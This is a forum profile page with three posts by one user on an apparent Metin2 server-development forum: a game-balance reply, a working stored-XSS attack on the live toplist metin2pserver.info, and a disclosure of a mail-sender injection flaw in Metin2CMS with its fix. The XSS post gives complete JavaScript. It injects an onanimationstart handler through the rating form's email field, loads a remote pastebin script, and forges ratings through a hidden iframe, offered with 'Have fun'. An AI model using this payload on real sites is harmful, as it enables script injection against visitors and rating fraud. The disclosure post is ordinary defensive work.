Jump to content

metho

Inactive Member
  • Posts

    4
  • Joined

  • Last visited

  • Feedback

    0%

Posts posted by metho

  1. On 11/17/2020 at 10:48 PM, Vanilla said:

    That's why I said, regardings bigger servers you have to make sure the players are distributed. And you can do that with many tools. You as an admin have the power to influence that. With let's say events, rewards for smaller empires and stuff. People will tend to change the empire in such cases if they are not in dire need for their old empire. People are afraid to use tools to make a better distribution of the empires.

     

    You'd technically make the maps work with only 2 empires - why, for example, not make the maps for the third empire still be there? But make it like in ruins or something? This could go along with the idea of making this play after the war and having one empire be utterly defeated. This could still make all the maps keep their meaning, but of course, it feels a bit.... mehr in my opinion. I think 3 empires is the way to go.

    What tools would you use to control the influence of a big server or would you do it manually to distribute the players everywhere on the map?

  2. Hi,

    Here is a small example of a code injection on the top list: metin2pserver.info.

     

    If you want to test it yourself:

     

    I hosted the following script here ( https://pastebin.com/raw/28VjB803 ): 

     

    /**
     * Rate.
     *
     * @param {string} serverId
     * @param {string} name
     * @param {string} email
     * @param {number} rating
     * @option 1 - Insufficient
     * @option 2 - Inadequate
     * @option 3 - Sufficient
     * @option 4 - Satisfying
     * @option 5 - Good
     * @option 6 - Very good
     * @param {string} comment
     * @param {number} picture
     * @option 1 - Warrior (m)
     * @option 2 - Warrior (f)
     * @option 3 - Ninja (m)
     * @option 4 - Ninja (f)
     * @option 5 - Sura (m)
     * @option 6 - Sura (f)
     * @option 7 - Shaman (m)
     * @option 8 - Shaman (f)
     */
    function rate(serverId, name, email, rating, comment, picture = 1) {
        const root = document.documentElement;
        const iframe = document.createElement('iframe');
        iframe.style.setProperty('display', 'none');
        iframe.src = `https://www.metin2pserver.info/rate.php?id=${serverId}`;
    
        return new Promise((resolve) => {
            iframe.onload = () => {
                const [s] = iframe.contentDocument.getElementsByName('s');
                const token = s && s.value;
    
                root.removeChild(iframe);
    
                const data = {
                    Name: name,
                    Email: email,
                    Rating: rating,
                    Comments: comment,
                    pic: picture,
                    id: serverId,
                    s: token,
                };
    
                const params = [];
    
                for (const param in data) {
                    const value = data[param];
                    params.push(encodeURIComponent(param) + '=' + encodeURIComponent(value));
                }
    
                const body = params.join('&');
    
                if (token) {
                    fetch(iframe.src, {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
                        },
                        body,
                    })
                        .then(() => resolve(true))
                        .catch(() => resolve(false));
                } else {
                    resolve(false);
                }
            };
    
            root.appendChild(iframe);
        });
    }
    
    if (location.hash === '#methowashere') {
        const serverId = /server-(.*?).html/.exec(location.href)[1];
    
        const name = prompt('Your name');
        const comment = prompt('Your comment');
    
        rate(serverId, name, '', 1, comment);
    }

    To inject it, go to a server page (e. g.: https://www.metin2pserver.info/server-mt2aom2.html).
     

    Launch this script on the page:

     

    /**
     * Rate.
     *
     * @param {string} serverId
     * @param {string} name
     * @param {string} email
     * @param {number} rating
     * @option 1 - Insufficient
     * @option 2 - Inadequate
     * @option 3 - Sufficient
     * @option 4 - Satisfying
     * @option 5 - Good
     * @option 6 - Very good
     * @param {string} comment
     * @param {number} picture
     * @option 1 - Warrior (m)
     * @option 2 - Warrior (f)
     * @option 3 - Ninja (m)
     * @option 4 - Ninja (f)
     * @option 5 - Sura (m)
     * @option 6 - Sura (f)
     * @option 7 - Shaman (m)
     * @option 8 - Shaman (f)
     */
    function rate(serverId, name, email, rating, comment, picture = 1) {
        const root = document.documentElement;
        const iframe = document.createElement('iframe');
        iframe.style.setProperty('display', 'none');
        iframe.src = `https://www.metin2pserver.info/rate.php?id=${serverId}`;
    
        return new Promise((resolve) => {
            iframe.onload = () => {
                const [s] = iframe.contentDocument.getElementsByName('s');
                const token = s && s.value;
    
                root.removeChild(iframe);
    
                const data = {
                    Name: name,
                    Email: email,
                    Rating: rating,
                    Comments: comment,
                    pic: picture,
                    id: serverId,
                    s: token,
                };
    
                const params = [];
    
                for (const param in data) {
                    const value = data[param];
                    params.push(encodeURIComponent(param) + '=' + encodeURIComponent(value));
                }
    
                const body = params.join('&');
    
                if (token) {
                    fetch(iframe.src, {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
                        },
                        body,
                    })
                        .then(() => resolve(true))
                        .catch(() => resolve(false));
                } else {
                    resolve(false);
                }
            };
    
            root.appendChild(iframe);
        });
    }
    
    /**
     * Inject.
     *
     * @param {string} script
     * @param {string} name
     */
    function injectScript(script, name = 'Dummy') {
        const serverId = /server-(.*?).html/.exec(location.href)[1];
        const code = `$.getScript('${script}')`;
        const injection = `"style="animation:fb_transform"onanimationstart="${code}"`;
    
        console.log(`Server: ${serverId}`);
        console.log(`Name: ${name}`);
        console.log(`Script: ${script}`);
        console.log(`Injections: ${injection}`);
    
        return rate(serverId, name, injection, 1, '[...]');
    }

    You can then inject it like this:

     

    injectScript('https://pastebin.com/raw/28VjB803').then((r) => console.log('Result: ', r));

    You can then test it like this: https://www.metin2pserver.info/server-UGMT2.html#mailsywashere

     

    Have fun ?

    • Metin2 Dev 1
    • Lmao 1
  3. Hello everybody,

     

    Since someone asked me about injections in Metin2CMS (targeted CMS: https://metin2cms.cf/), I quickly looked at the code of the CMS mentioned. I also noticed a critical exploit that enables code injections.

     

    The file include\functions\sendEmail.php contains the following code:

     

    $site_name = $_SERVER['SERVER_NAME'];
    if ($site_name == 'localhost' || $site_name == '127.0.0.1') $site_name = 'metin2cms.cf';

     

    As of Apache 2, $_SERVER['SERVER_NAME'] can be transmitted from the client to the server via the http header Host (like for $_SERVER['HTTP_HOST'] too).

     

    An email is sent in the same file using PHPMailer and the sender is set as follows:

     

    $mail->SetFrom($email_name . '@' . $site_name, $site_title);

     

    The script include\mailer\PHPMailer.php validates the sender as follows:

     

    if (!empty($this->Sender) and static::validateAddress($this->Sender))
    {
        if (self::isShellSafe($this->Sender))
        {
            $params = sprintf('-f%s', $this->Sender);
        }
    }

    The validateAddress function uses FILTER_VALIDATE_EMAIL according to RFC 822, which is not sufficient to check e-mails.

     

    The isShellSafe function uses escapeshellcmd, which prevents additional commands from being executed, but it is still possible to pass additional parameters / flags that allow the execution of PHP code.

     

    I wrote with Ionut and thanks to him he already released a full solution for this here: https://github.com/IonutPopescuRO/Metin2CMS/commit/b81859d7962d3054d18f1cbebff9216d3754f507

     

    Fix:

     

    Remove:

     

    $email_name = 'noreplay';
    
    $site_name = $_SERVER['SERVER_NAME'];
    if ($site_name == 'localhost' || $site_name == '127.0.0.1')
    	$site_name = 'metin2cms.cf';

     

    Replace:

     

    $mail->SetFrom($email_name . '@' . $site_name, $site_title);
    $mail->AddReplyTo($email_name . "@" . $site_name, $site_title);

     

    With:

     

    $mail->SetFrom($email_username, $site_title);
    $mail->AddReplyTo($email_username, $site_title);

     

    Btw, i would not suggest setting the variable through Apache using ServerName and UseCanonicalName. These variables should not be used in productive environments.

     

    Hope it helps. Also thanks to @martysama0134 who reached out to him.

    • Love 3
×
×
  • Create New...

Important Information

Terms of Use / Privacy Policy / Guidelines / We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.